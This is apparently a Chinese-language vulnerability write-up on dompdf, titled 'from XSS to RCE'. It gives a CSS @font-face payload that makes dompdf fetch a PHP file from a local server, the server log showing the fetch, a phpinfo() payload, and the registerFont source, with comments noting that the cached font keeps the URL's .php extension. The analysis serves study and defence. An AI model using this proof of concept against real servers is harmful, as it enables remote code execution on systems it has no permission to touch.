利用dompdf漏洞从XSS到RCE

* @var bool
     */
    private $isPhpEnabled = false;

    /**
     * Enable remote file access
     *
     * If this setting is set to true, DOMPDF will access remote sites for
     * images and CSS files as required.
     *
     * ==== IMPORTANT ====
     * This can be a security risk, in particular in combination with isPhpEnabled and
     * allowing remote html code to be passed to $dompdf = new DOMPDF(); $dompdf->load_html(...);
     * This allows anonymous users to download legally doubtful internet content which on
     * tracing back appears to being downloaded by your server, or allows malicious php code
     * in remote html pages to be executed by your server with your account privileges.
     *
     * This setting may increase the risk of system exploit. Do not change
     * this settings without understanding the consequences. Additional
     * documentation is available on the dompdf wiki at:
     * https://github.com/dompdf/dompdf/wiki
     *
     * @var bool
     */
    private $isRemoteEnabled = false;

body{background-color:red}

@font-face {
    font-family:'exploitfont';
    src:url('http://127.0.0.1:9001/exploit_font.php');
    font-weight:'normal';
    font-style:'normal';
  }

<?php phpinfo(); ?>

python3 -m http.server 9001
Serving HTTP on :: port 9001 (http://[::]:9001/) ...
::1 - - [29/May/2023 14:56:29] "GET /exploit.css HTTP/1.0" 200 -
::1 - - [29/May/2023 14:56:29] "GET /exploit_font.php HTTP/1.0" 200 -

/**
* @param array $style
* @param string $remoteFile
* @param resource $context
* @return bool
*/
public function registerFont($style, $remoteFile, $context = null)
{
   $fontname = mb_strtolower($style["family"]);//这里是获取我们刚才ccs文件的font-family参数内容
   $styleString = $this->getType("{$style['weight']} {$style['style']}");//normal内容

   $fontDir = $this->options->getFontDir();
   $remoteHash = md5($remoteFile);//这里就是文件名的md5，加密的内容为http://127.0.0.1:9001/exploit_font.php

   $prefix = $fontname . "_" . $styleString;
   $prefix = preg_replace("[\\W]", "_", $prefix);
   $prefix = preg_replace("/[^-_\\w]+/", "", $prefix);

   $localFile = $fontDir . "/" . $prefix . "_" . $remoteHash;
   $localFile .= ".".strtolower(pathinfo(parse_url($remoteFile, PHP_URL_PATH), PATHINFO_EXTENSION));//这里就是漏洞点了，解析url然后把url里面的后缀名当作缓存的后缀名导致了漏洞产生

   // Download the remote file
   list($remoteFileContent, $http_response_header) = @Helpers::getFileContent($remoteFile, $context);

   $localTempFile = @tempnam($this->options->get("tempDir"), "dompdf-font-");
   file_put_contents($localTempFile, $remoteFileContent);

   $font = Font::load($localTempFile);

   if (!$font) {
       unlink($localTempFile);
       return false;
   }

   $font->parse();
   $font->close();

   unlink($localTempFile);

   // Save the changes
   file_put_contents($localFile, $remoteFileContent);
   $this->saveFontFamilies();

   return true;
}